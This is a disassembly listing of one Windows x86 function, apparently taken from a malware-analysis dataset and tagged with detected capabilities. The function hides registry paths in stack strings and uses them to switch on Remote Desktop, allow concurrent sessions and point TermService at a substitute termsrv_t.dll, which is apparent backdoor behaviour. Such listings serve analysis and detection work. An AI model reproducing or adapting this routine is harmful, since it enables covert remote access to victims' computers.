Function at 0x1002b000
Capabilities:
Check if file exists
Contain obfuscated stackstrings
Get common file path
Get file attributes

Disassembly:
sub esp, 0x380
push ebp
push esi
push edi
mov edi, dword [esp + 0x390]
mov esi, ecx
push edi
call dword [sym.imp.MSVCRT.dll_atoi]
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 4
test eax, eax
jbe 0x1002c333
cmp eax, 0xffff
jae 0x1002c333
lea eax, [esp + 0x288]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea ecx, [esp + 0x288]
push str._termsrv_t.dll
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
call fcn.1002ac00
test al, al
je 0x1002b098
lea edx, [esp + 0x288]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x1002c34f
lea eax, [esp + 0x288]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
je 0x1002c34f
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push ebx
push edi
mov ecx, esi
call fcn.10029bd0
mov cl, 0x45
mov al, 0x5c
mov dl, 0x75
mov bl, 0x65
mov byte [esp + 0x1a0], 0x53
mov byte [esp + 0x1a1], 0x4f
mov byte [esp + 0x1a2], 0x46
mov byte [esp + 0x1a3], 0x54
mov byte [esp + 0x1a4], 0x57
mov byte [esp + 0x1a5], 0x41
mov byte [esp + 0x1a6], 0x52
mov byte [esp + 0x1a7], cl
mov byte [esp + 0x1a8], al
mov byte [esp + 0x1a9], 0x4d
mov byte [esp + 0x1aa], 0x69
mov byte [esp + 0x1ab], 0x63
mov byte [esp + 0x1ac], 0x72
mov byte [esp + 0x1ad], 0x6f
mov byte [esp + 0x1ae], 0x73
mov byte [esp + 0x1af], 0x6f
mov byte [esp + 0x1b0], 0x66
mov byte [esp + 0x1b1], 0x74
mov byte [esp + 0x1b2], al
mov byte [esp + 0x1b3], 0x57
mov byte [esp + 0x1b4], 0x69
mov byte [esp + 0x1b5], 0x6e
mov byte [esp + 0x1b6], 0x64
mov byte [esp + 0x1b7], 0x6f
mov byte [esp + 0x1b8], 0x77
mov byte [esp + 0x1b9], 0x73
mov byte [esp + 0x1ba], 0x20
mov byte [esp + 0x1bb], 0x4e
mov byte [esp + 0x1bc], 0x54
mov byte [esp + 0x1bd], al
mov byte [esp + 0x1be], 0x43
mov byte [esp + 0x1bf], dl
mov byte [esp + 0x1c0], 0x72
mov byte [esp + 0x1c1], 0x72
mov byte [esp + 0x1c2], bl
mov byte [esp + 0x1c3], 0x6e
mov byte [esp + 0x1c4], 0x74
mov byte [esp + 0x1c5], 0x56
mov byte [esp + 0x1c6], bl
mov byte [esp + 0x1c7], 0x72
mov byte [esp + 0x1c8], 0x73
mov byte [esp + 0x1c9], 0x69
mov byte [esp + 0x1ca], 0x6f
mov byte [esp + 0x1cb], 0x6e
mov byte [esp + 0x1cc], al
mov byte [esp + 0x1cd], 0x57
mov byte [esp + 0x1ce], 0x69
mov byte [esp + 0x1cf], 0x6e
mov byte [esp + 0x1d0], 0x6c
mov byte [esp + 0x1d1], 0x6f
mov byte [esp + 0x1d2], 0x67
mov byte [esp + 0x1d3], 0x6f
mov byte [esp + 0x1d4], 0x6e
mov byte [esp + 0x1d5], 0
mov byte [esp + 0x108], 0x53
mov byte [esp + 0x109], 0x4f
mov byte [esp + 0x10a], 0x46
mov byte [esp + 0x10b], 0x54
mov byte [esp + 0x10c], 0x57
mov byte [esp + 0x10d], 0x41
mov byte [esp + 0x10e], 0x52
mov byte [esp + 0x10f], cl
mov byte [esp + 0x110], al
mov byte [esp + 0x111], 0x50
mov byte [esp + 0x112], 0x6f
mov byte [esp + 0x113], 0x6c
mov byte [esp + 0x114], 0x69
mov byte [esp + 0x115], 0x63
mov byte [esp + 0x116], 0x69
mov byte [esp + 0x117], bl
mov byte [esp + 0x118], 0x73
mov byte [esp + 0x119], al
mov byte [esp + 0x11a], 0x4d
mov byte [esp + 0x11b], 0x69
mov byte [esp + 0x11c], 0x63
mov byte [esp + 0x11d], 0x72
mov byte [esp + 0x11e], 0x6f
mov byte [esp + 0x11f], 0x73
mov byte [esp + 0x120], 0x6f
mov byte [esp + 0x121], 0x66
mov byte [esp + 0x122], 0x74
mov byte [esp + 0x123], al
mov byte [esp + 0x124], 0x57
mov byte [esp + 0x125], 0x69
mov byte [esp + 0x126], 0x6e
mov byte [esp + 0x127], 0x64
mov byte [esp + 0x128], 0x6f
mov byte [esp + 0x129], 0x77
mov byte [esp + 0x12a], 0x73
mov byte [esp + 0x12b], al
mov byte [esp + 0x12c], 0x49
mov byte [esp + 0x12d], 0x6e
mov byte [esp + 0x12e], 0x73
mov byte [esp + 0x12f], 0x74
mov byte [esp + 0x130], 0x61
mov byte [esp + 0x131], 0x6c
mov byte [esp + 0x132], 0x6c
mov byte [esp + 0x133], bl
mov byte [esp + 0x134], 0x72
mov byte [esp + 0x135], 0
mov byte [esp + 0x1d8], 0x53
mov byte [esp + 0x1d9], 0x4f
mov byte [esp + 0x1da], 0x46
mov byte [esp + 0x1db], 0x54
mov byte [esp + 0x1dc], 0x57
mov byte [esp + 0x1dd], 0x41
mov byte [esp + 0x1de], 0x52
mov byte [esp + 0x1df], cl
mov byte [esp + 0x1e0], al
mov byte [esp + 0x1e1], 0x4d
mov byte [esp + 0x1e2], 0x69
mov byte [esp + 0x1e3], 0x63
mov byte [esp + 0x1e4], 0x72
mov byte [esp + 0x1e5], 0x6f
mov byte [esp + 0x1e6], 0x73
mov byte [esp + 0x1e7], 0x6f
mov byte [esp + 0x1e8], 0x66
mov byte [esp + 0x1e9], 0x74
mov byte [esp + 0x1ea], al
mov byte [esp + 0x1eb], 0x57
mov byte [esp + 0x1ec], 0x69
mov byte [esp + 0x1ed], 0x6e
mov byte [esp + 0x1ee], 0x64
mov byte [esp + 0x1ef], 0x6f
mov byte [esp + 0x1f0], 0x77
mov byte [esp + 0x1f1], 0x73
mov byte [esp + 0x1f2], 0x20
mov byte [esp + 0x1f3], 0x4e
mov byte [esp + 0x1f4], 0x54
mov byte [esp + 0x1f5], al
mov byte [esp + 0x1f6], 0x43
mov byte [esp + 0x1f7], dl
mov byte [esp + 0x1f8], 0x72
mov byte [esp + 0x1f9], 0x72
mov byte [esp + 0x1fa], bl
mov byte [esp + 0x1fb], 0x6e
mov byte [esp + 0x1fc], 0x74
mov byte [esp + 0x1fd], 0x56
mov byte [esp + 0x1fe], bl
mov byte [esp + 0x1ff], 0x72
mov byte [esp + 0x200], 0x73
mov byte [esp + 0x201], 0x69
mov byte [esp + 0x202], 0x6f
mov byte [esp + 0x203], 0x6e
mov byte [esp + 0x204], al
mov byte [esp + 0x205], 0x57
mov byte [esp + 0x206], 0x69
mov byte [esp + 0x207], 0x6e
mov byte [esp + 0x208], 0x6c
mov byte [esp + 0x209], 0x6f
mov byte [esp + 0x20a], 0x67
mov byte [esp + 0x20b], 0x6f
mov byte [esp + 0x20c], 0x6e
mov byte [esp + 0x20d], 0
mov byte [esp + 0xac], 0x53
mov byte [esp + 0xad], 0x59
mov byte [esp + 0xae], 0x53
mov byte [esp + 0xaf], 0x54
mov byte [esp + 0xb0], cl
mov byte [esp + 0xb1], 0x4d
mov byte [esp + 0xb2], al
mov byte [esp + 0xb3], 0x43
mov byte [esp + 0xb4], dl
mov byte [esp + 0xb5], 0x72
mov byte [esp + 0xb6], 0x72
mov byte [esp + 0xb7], bl
mov byte [esp + 0xb8], 0x6e
mov byte [esp + 0xb9], 0x74
mov byte [esp + 0xba], 0x43
mov byte [esp + 0xbb], 0x6f
mov byte [esp + 0xbc], 0x6e
mov byte [esp + 0xbd], 0x74
mov byte [esp + 0xbe], 0x72
mov byte [esp + 0xbf], 0x6f
mov byte [esp + 0xc0], 0x6c
mov byte [esp + 0xc1], 0x53
mov byte [esp + 0xc2], bl
mov byte [esp + 0xc3], 0x74
mov byte [esp + 0xc4], al
mov byte [esp + 0xc5], 0x53
mov byte [esp + 0xc6], bl
mov byte [esp + 0xc7], 0x72
mov byte [esp + 0xc8], 0x76
mov byte [esp + 0xc9], 0x69
mov byte [esp + 0xca], 0x63
mov byte [esp + 0xcb], bl
mov byte [esp + 0xcc], 0x73
mov byte [esp + 0xcd], al
mov byte [esp + 0xce], 0x54
mov byte [esp + 0xcf], bl
mov byte [esp + 0xd0], 0x72
mov byte [esp + 0xd1], 0x6d
mov byte [esp + 0xd2], 0x44
mov byte [esp + 0xd3], 0x44
mov byte [esp + 0xd4], 0
mov byte [esp + 0xd8], 0x53
mov byte [esp + 0xd9], 0x59
mov byte [esp + 0xda], 0x53
mov byte [esp + 0xdb], 0x54
mov byte [esp + 0xdc], cl
mov byte [esp + 0xdd], 0x4d
mov byte [esp + 0xde], al
mov byte [esp + 0xdf], 0x43
mov byte [esp + 0xe0], dl
mov byte [esp + 0xe1], 0x72
mov byte [esp + 0xe2], 0x72
mov byte [esp + 0xe3], bl
mov byte [esp + 0xe4], 0x6e
mov byte [esp + 0xe5], 0x74
mov byte [esp + 0xe6], 0x43
mov byte [esp + 0xe7], 0x6f
mov byte [esp + 0xe8], 0x6e
mov byte [esp + 0xe9], 0x74
mov byte [esp + 0xea], 0x72
mov byte [esp + 0xeb], 0x6f
mov byte [esp + 0xec], 0x6c
mov byte [esp + 0xed], 0x53
mov byte [esp + 0xee], bl
mov byte [esp + 0xef], 0x74
mov byte [esp + 0xf0], al
mov byte [esp + 0xf1], 0x53
mov byte [esp + 0xf2], bl
mov byte [esp + 0xf3], 0x72
mov byte [esp + 0xf4], 0x76
mov byte [esp + 0xf5], 0x69
mov byte [esp + 0xf6], 0x63
mov byte [esp + 0xf7], bl
mov byte [esp + 0xf8], 0x73
mov byte [esp + 0xf9], al
mov byte [esp + 0xfa], 0x54
mov byte [esp + 0xfb], bl
mov byte [esp + 0xfc], 0x72
mov byte [esp + 0xfd], 0x6d
mov byte [esp + 0xfe], 0x53
mov byte [esp + 0xff], bl
mov byte [esp + 0x100], 0x72
mov byte [esp + 0x101], 0x76
mov byte [esp + 0x102], 0x69
mov byte [esp + 0x103], 0x63
mov byte [esp + 0x104], bl
mov byte [esp + 0x105], 0
mov byte [esp + 0x138], 0x53
mov byte [esp + 0x139], 0x59
mov byte [esp + 0x13a], 0x53
mov byte [esp + 0x13b], 0x54
mov byte [esp + 0x13c], cl
mov byte [esp + 0x13d], 0x4d
mov byte [esp + 0x13e], al
mov byte [esp + 0x13f], 0x43
mov byte [esp + 0x140], dl
mov byte [esp + 0x141], 0x72
mov byte [esp + 0x142], 0x72
mov byte [esp + 0x143], bl
mov byte [esp + 0x144], 0x6e
mov byte [esp + 0x145], 0x74
mov byte [esp + 0x146], 0x43
mov byte [esp + 0x147], 0x6f
mov byte [esp + 0x148], 0x6e
mov byte [esp + 0x149], 0x74
mov byte [esp + 0x14a], 0x72
mov byte [esp + 0x14b], 0x6f
mov byte [esp + 0x14c], 0x6c
mov byte [esp + 0x14d], 0x53
mov byte [esp + 0x14e], bl
mov byte [esp + 0x14f], 0x74
mov byte [esp + 0x150], al
mov byte [esp + 0x151], 0x43
mov byte [esp + 0x152], 0x6f
mov byte [esp + 0x153], 0x6e
mov byte [esp + 0x154], 0x74
mov byte [esp + 0x155], 0x72
mov byte [esp + 0x156], 0x6f
mov byte [esp + 0x157], 0x6c
mov byte [esp + 0x158], al
mov byte [esp + 0x159], 0x54
mov byte [esp + 0x15a], bl
mov byte [esp + 0x15b], 0x72
mov byte [esp + 0x15c], 0x6d
mov byte [esp + 0x15d], 0x69
mov byte [esp + 0x15e], 0x6e
mov byte [esp + 0x15f], 0x61
mov byte [esp + 0x160], 0x6c
mov byte [esp + 0x161], 0x20
mov byte [esp + 0x162], 0x53
mov byte [esp + 0x163], bl
mov byte [esp + 0x164], 0x72
mov byte [esp + 0x165], 0x76
mov byte [esp + 0x166], bl
mov byte [esp + 0x167], 0x72
mov byte [esp + 0x168], 0
mov byte [esp + 0x24c], 0x53
mov byte [esp + 0x24d], 0x59
mov byte [esp + 0x24e], 0x53
mov byte [esp + 0x24f], 0x54
mov byte [esp + 0x250], cl
mov byte [esp + 0x251], 0x4d
mov byte [esp + 0x252], al
mov byte [esp + 0x253], 0x43
mov byte [esp + 0x254], dl
mov byte [esp + 0x255], 0x72
mov byte [esp + 0x256], 0x72
mov byte [esp + 0x257], bl
mov byte [esp + 0x258], 0x6e
mov byte [esp + 0x259], 0x74
mov byte [esp + 0x25a], 0x43
mov byte [esp + 0x25b], 0x6f
mov byte [esp + 0x25c], 0x6e
mov byte [esp + 0x25d], 0x74
mov byte [esp + 0x25e], 0x72
mov byte [esp + 0x25f], 0x6f
mov byte [esp + 0x260], 0x6c
mov byte [esp + 0x261], 0x53
mov byte [esp + 0x262], bl
mov byte [esp + 0x263], 0x74
mov byte [esp + 0x264], al
mov byte [esp + 0x265], 0x43
mov byte [esp + 0x266], 0x6f
mov byte [esp + 0x267], 0x6e
mov byte [esp + 0x268], 0x74
mov byte [esp + 0x269], 0x72
mov byte [esp + 0x26a], 0x6f
mov byte [esp + 0x26b], 0x6c
mov byte [esp + 0x26c], al
mov byte [esp + 0x26d], 0x54
mov byte [esp + 0x26e], bl
mov byte [esp + 0x26f], 0x72
mov byte [esp + 0x270], 0x6d
mov byte [esp + 0x271], 0x69
mov byte [esp + 0x272], 0x6e
mov byte [esp + 0x273], 0x61
mov byte [esp + 0x274], 0x6c
mov byte [esp + 0x275], 0x20
mov byte [esp + 0x276], 0x53
mov byte [esp + 0x277], bl
mov byte [esp + 0x278], 0x72
mov byte [esp + 0x279], 0x76
mov byte [esp + 0x27a], bl
mov byte [esp + 0x27b], 0x72
mov byte [esp + 0x27c], al
mov byte [esp + 0x27d], 0x4c
mov byte [esp + 0x27e], 0x69
mov byte [esp + 0x27f], 0x63
mov byte [esp + 0x280], bl
mov byte [esp + 0x281], 0x6e
mov byte [esp + 0x282], 0x73
mov byte [esp + 0x283], 0x69
mov byte [esp + 0x284], 0x6e
mov byte [esp + 0x285], 0x67
mov byte [esp + 0x286], 0x20
mov byte [esp + 0x287], 0x43
mov byte [esp + 0x288], 0x6f
mov byte [esp + 0x289], 0x72
mov byte [esp + 0x28a], bl
mov byte [esp + 0x28b], 0
mov byte [esp + 0x210], 0x53
mov byte [esp + 0x211], 0x59
mov byte [esp + 0x212], 0x53
mov byte [esp + 0x213], 0x54
mov byte [esp + 0x214], cl
mov byte [esp + 0x215], 0x4d
mov byte [esp + 0x216], al
mov byte [esp + 0x217], 0x43
mov byte [esp + 0x218], dl
mov byte [esp + 0x219], 0x72
mov byte [esp + 0x21a], 0x72
mov byte [esp + 0x21b], bl
mov byte [esp + 0x21c], 0x6e
mov byte [esp + 0x21d], 0x74
mov byte [esp + 0x21e], 0x43
mov byte [esp + 0x21f], 0x6f
mov byte [esp + 0x220], 0x6e
mov byte [esp + 0x221], 0x74
mov byte [esp + 0x222], 0x72
mov byte [esp + 0x223], 0x6f
mov byte [esp + 0x224], 0x6c
mov byte [esp + 0x225], 0x53
mov byte [esp + 0x226], bl
mov byte [esp + 0x227], 0x74
mov byte [esp + 0x228], al
mov byte [esp + 0x229], 0x53
mov byte [esp + 0x22a], bl
mov byte [esp + 0x22b], 0x72
mov byte [esp + 0x22c], 0x76
mov byte [esp + 0x22d], 0x69
mov byte [esp + 0x22e], 0x63
mov byte [esp + 0x22f], bl
mov byte [esp + 0x230], 0x73
mov byte [esp + 0x231], al
mov byte [esp + 0x232], 0x54
mov byte [esp + 0x233], bl
mov byte [esp + 0x234], 0x72
mov byte [esp + 0x235], 0x6d
mov byte [esp + 0x236], 0x53
mov byte [esp + 0x237], bl
mov byte [esp + 0x238], 0x72
mov byte [esp + 0x239], 0x76
mov byte [esp + 0x23a], 0x69
mov byte [esp + 0x23d], al
mov byte [esp + 0x172], al
mov byte [esp + 0x184], al
mov byte [esp + 0x18c], al
mov al, 0x68
mov byte [esp + 0x23b], 0x63
mov byte [esp + 0x23c], bl
mov byte [esp + 0x23e], 0x50
mov byte [esp + 0x23f], 0x61
mov byte [esp + 0x240], 0x72
mov byte [esp + 0x241], 0x61
mov byte [esp + 0x242], 0x6d
mov byte [esp + 0x243], bl
mov byte [esp + 0x244], 0x74
mov byte [esp + 0x245], bl
mov byte [esp + 0x246], 0x72
mov byte [esp + 0x247], 0x73
mov byte [esp + 0x248], 0
mov byte [esp + 0x16c], 0x53
mov byte [esp + 0x16d], 0x59
mov byte [esp + 0x16e], 0x53
mov byte [esp + 0x16f], 0x54
mov byte [esp + 0x170], cl
mov byte [esp + 0x171], 0x4d
mov byte [esp + 0x173], 0x43
mov byte [esp + 0x174], dl
mov byte [esp + 0x175], 0x72
mov byte [esp + 0x176], 0x72
mov byte [esp + 0x177], bl
mov byte [esp + 0x178], 0x6e
mov byte [esp + 0x179], 0x74
mov byte [esp + 0x17a], 0x43
mov byte [esp + 0x17b], 0x6f
mov byte [esp + 0x17c], 0x6e
mov byte [esp + 0x17d], 0x74
mov byte [esp + 0x17e], 0x72
mov byte [esp + 0x17f], 0x6f
mov byte [esp + 0x180], 0x6c
mov byte [esp + 0x181], 0x53
mov byte [esp + 0x182], bl
mov byte [esp + 0x183], 0x74
mov byte [esp + 0x185], 0x43
mov byte [esp + 0x186], 0x6f
mov byte [esp + 0x187], 0x6e
mov byte [esp + 0x188], 0x74
mov byte [esp + 0x189], 0x72
mov byte [esp + 0x18a], 0x6f
mov byte [esp + 0x18b], 0x6c
mov byte [esp + 0x18d], 0x54
mov byte [esp + 0x18e], bl
mov byte [esp + 0x18f], 0x72
mov byte [esp + 0x190], 0x6d
mov byte [esp + 0x191], 0x69
mov byte [esp + 0x192], 0x6e
mov byte [esp + 0x193], 0x61
mov byte [esp + 0x194], 0x6c
mov byte [esp + 0x195], 0x20
mov byte [esp + 0x196], 0x53
mov byte [esp + 0x197], bl
mov byte [esp + 0x198], 0x72
mov byte [esp + 0x199], 0x76
mov byte [esp + 0x19a], bl
mov byte [esp + 0x19b], 0x72
mov byte [esp + 0x19c], 0
mov byte [esp + 0x78], 0x53
mov byte [esp + 0x79], al
mov byte [esp + 0x7a], dl
mov byte [esp + 0x7b], 0x74
mov byte [esp + 0x7c], 0x64
mov byte [esp + 0x7d], 0x6f
mov byte [esp + 0x7e], 0x77
mov byte [esp + 0x7f], 0x6e
mov byte [esp + 0x80], 0x57
mov byte [esp + 0x81], 0x69
mov byte [esp + 0x82], 0x74
mov byte [esp + 0x83], al
mov byte [esp + 0x84], 0x6f
mov byte [esp + 0x85], dl
mov byte [esp + 0x86], 0x74
mov byte [esp + 0x87], 0x4c
mov byte [esp + 0x88], 0x6f
mov al, 0x62
mov byte [esp + 0x89], 0x67
mov byte [esp + 0x8a], 0x6f
mov byte [esp + 0x8b], 0x6e
mov byte [esp + 0x8c], 0
mov byte [esp + 0x64], cl
mov byte [esp + 0x65], 0x6e
mov byte [esp + 0x66], 0x61
mov byte [esp + 0x67], al
mov byte [esp + 0x68], 0x6c
mov byte [esp + 0x69], bl
mov byte [esp + 0x6a], 0x41
mov byte [esp + 0x6b], 0x64
mov byte [esp + 0x6c], 0x6d
mov byte [esp + 0x6d], 0x69
mov byte [esp + 0x6e], 0x6e
mov byte [esp + 0x6f], 0x54
mov byte [esp + 0x70], 0x53
mov byte [esp + 0x71], 0x52
mov byte [esp + 0x72], bl
mov byte [esp + 0x73], 0x6d
mov byte [esp + 0x74], 0x6f
mov byte [esp + 0x75], 0x74
mov byte [esp + 0x76], bl
mov byte [esp + 0x77], 0
mov byte [esp + 0x3c], 0x4b
mov byte [esp + 0x3d], bl
mov byte [esp + 0x3e], bl
mov byte [esp + 0x3f], 0x70
mov byte [esp + 0x40], 0x52
mov byte [esp + 0x41], 0x41
mov byte [esp + 0x42], 0x53
mov byte [esp + 0x43], 0x43
mov byte [esp + 0x44], 0x6f
mov byte [esp + 0x45], 0x6e
mov byte [esp + 0x46], 0x6e
mov byte [esp + 0x47], bl
mov byte [esp + 0x48], 0x63
mov byte [esp + 0x49], 0x74
mov byte [esp + 0x4a], 0x69
mov byte [esp + 0x4b], 0x6f
mov byte [esp + 0x4c], 0x6e
mov byte [esp + 0x4d], 0x73
mov byte [esp + 0x4e], 0
mov byte [esp + 0x10], 0x53
mov byte [esp + 0x11], 0x74
mov byte [esp + 0x12], 0x61
mov byte [esp + 0x13], 0x72
mov byte [esp + 0x14], 0x74
mov byte [esp + 0x15], 0
mov byte [esp + 0x18], 0x54
mov byte [esp + 0x19], 0x53
mov byte [esp + 0x1a], cl
mov byte [esp + 0x1b], 0x6e
mov byte [esp + 0x1c], 0x61
mov byte [esp + 0x1d], al
mov byte [esp + 0x1e], 0x6c
mov byte [esp + 0x1f], bl
mov byte [esp + 0x20], 0x64
mov byte [esp + 0x21], 0
mov byte [esp + 0x90], cl
mov byte [esp + 0x91], 0x6e
mov byte [esp + 0x92], 0x61
mov byte [esp + 0x93], al
mov byte [esp + 0x94], 0x6c
mov byte [esp + 0x95], bl
mov byte [esp + 0x96], 0x43
mov byte [esp + 0x97], 0x6f
mov byte [esp + 0x98], 0x6e
mov byte [esp + 0x99], 0x63
mov byte [esp + 0x9a], dl
mov byte [esp + 0x9b], 0x72
mov byte [esp + 0x9c], 0x72
mov byte [esp + 0x9d], bl
mov byte [esp + 0x9e], 0x6e
mov byte [esp + 0x9f], 0x74
mov byte [esp + 0xa0], 0x53
mov byte [esp + 0xa1], bl
mov byte [esp + 0xa2], 0x73
mov byte [esp + 0xa3], 0x73
mov byte [esp + 0xa4], 0x69
push 0
push 0
push 0
lea ecx, [esp + 0x84]
push 4
lea edx, [esp + 0x1b0]
push ecx
push edx
push reloc.OLEAUT32.dll_SysReAllocString
mov byte [esp + 0xc1], 0x6f
mov byte [esp + 0xc2], 0x6e
mov byte [esp + 0xc3], 0x73
mov byte [esp + 0xc4], 0
call fcn.10017030
push 0
push 1
push 0
lea eax, [esp + 0x8c]
push 4
lea ecx, [esp + 0x134]
push eax
push ecx
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.10017030
push 0
push 0
push 0x10100100
lea edx, [esp + 0x80]
push 1
lea eax, [esp + 0x220]
push edx
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.10017030
add esp, 0x54
lea ecx, [esp + 0x10]
lea edx, [esp + 0xac]
push 0
push 2
push 0
push 4
push ecx
push edx
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.10017030
push 0
push 2
push 0
lea eax, [esp + 0x38]
push 4
lea ecx, [esp + 0x104]
push eax
push ecx
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.10017030
push 0
push 1
push 0
lea edx, [esp + 0x5c]
push 4
lea eax, [esp + 0x180]
push edx
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.10017030
add esp, 0x54
lea ecx, [esp + 0x90]
lea edx, [esp + 0x24c]
push 0
push 1
push 0
push 4
push ecx
push edx
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.10017030
add esp, 0x1c
call fcn.1002ac00
test al, al
je 0x1002c25f
push 0
push 0
push str._SystemRoot__system32_termsrv_t.dll
lea eax, [esp + 0x30]
push 2
lea ecx, [esp + 0x220]
push eax
push ecx
push reloc.OLEAUT32.dll_SysReAllocString
mov byte [esp + 0x40], 0x53
mov byte [esp + 0x41], bl
mov byte [esp + 0x42], 0x72
mov byte [esp + 0x43], 0x76
mov byte [esp + 0x44], 0x69
mov byte [esp + 0x45], 0x63
mov byte [esp + 0x46], bl
mov byte [esp + 0x47], 0x44
mov byte [esp + 0x48], 0x6c
mov byte [esp + 0x49], 0x6c
mov byte [esp + 0x4a], 0
call fcn.10017030
add esp, 0x1c
call fcn.1002aed0
lea edx, [esp + 0x30]
mov byte [esp + 0x30], 0x54
push edx
mov byte [esp + 0x35], bl
mov byte [esp + 0x36], 0x72
mov byte [esp + 0x37], 0x6d
mov byte [esp + 0x38], 0x53
mov byte [esp + 0x39], bl
mov byte [esp + 0x3a], 0x72
mov byte [esp + 0x3b], 0x76
mov byte [esp + 0x3c], 0x69
mov byte [esp + 0x3d], 0x63
mov byte [esp + 0x3e], bl
mov byte [esp + 0x3f], 0
call fcn.1002afb0
add esp, 4
push 0x1f4
call ebp
push 0
push 0
push 0
lea eax, [esp + 0x5c]
push 4
lea ecx, [esp + 0x17c]
push eax
push ecx
push reloc.OLEAUT32.dll_SysReAllocString
mov byte [esp + 0x6c], 0x66
mov byte [esp + 0x6d], 0x44
mov byte [esp + 0x6e], bl
mov byte [esp + 0x6f], 0x6e
mov byte [esp + 0x70], 0x79
mov byte [esp + 0x71], 0x54
mov byte [esp + 0x72], 0x53
mov byte [esp + 0x73], 0x43
mov byte [esp + 0x74], 0x6f
mov byte [esp + 0x75], 0x6e
mov byte [esp + 0x76], 0x6e
mov byte [esp + 0x77], bl
mov byte [esp + 0x78], 0x63
mov byte [esp + 0x79], 0x74
mov byte [esp + 0x7a], 0x69
mov byte [esp + 0x7b], 0x6f
mov byte [esp + 0x7c], 0x6e
mov byte [esp + 0x7d], 0x73
mov byte [esp + 0x7e], 0
call fcn.10017030
add esp, 0x1c
mov ecx, esi
call fcn.1002a6d0
pop ebx
push 0x3e8
call ebp
mov ecx, esi
call fcn.10029b70
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x380
ret 4
mov ecx, esi
call fcn.1002aa70
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x380
ret 4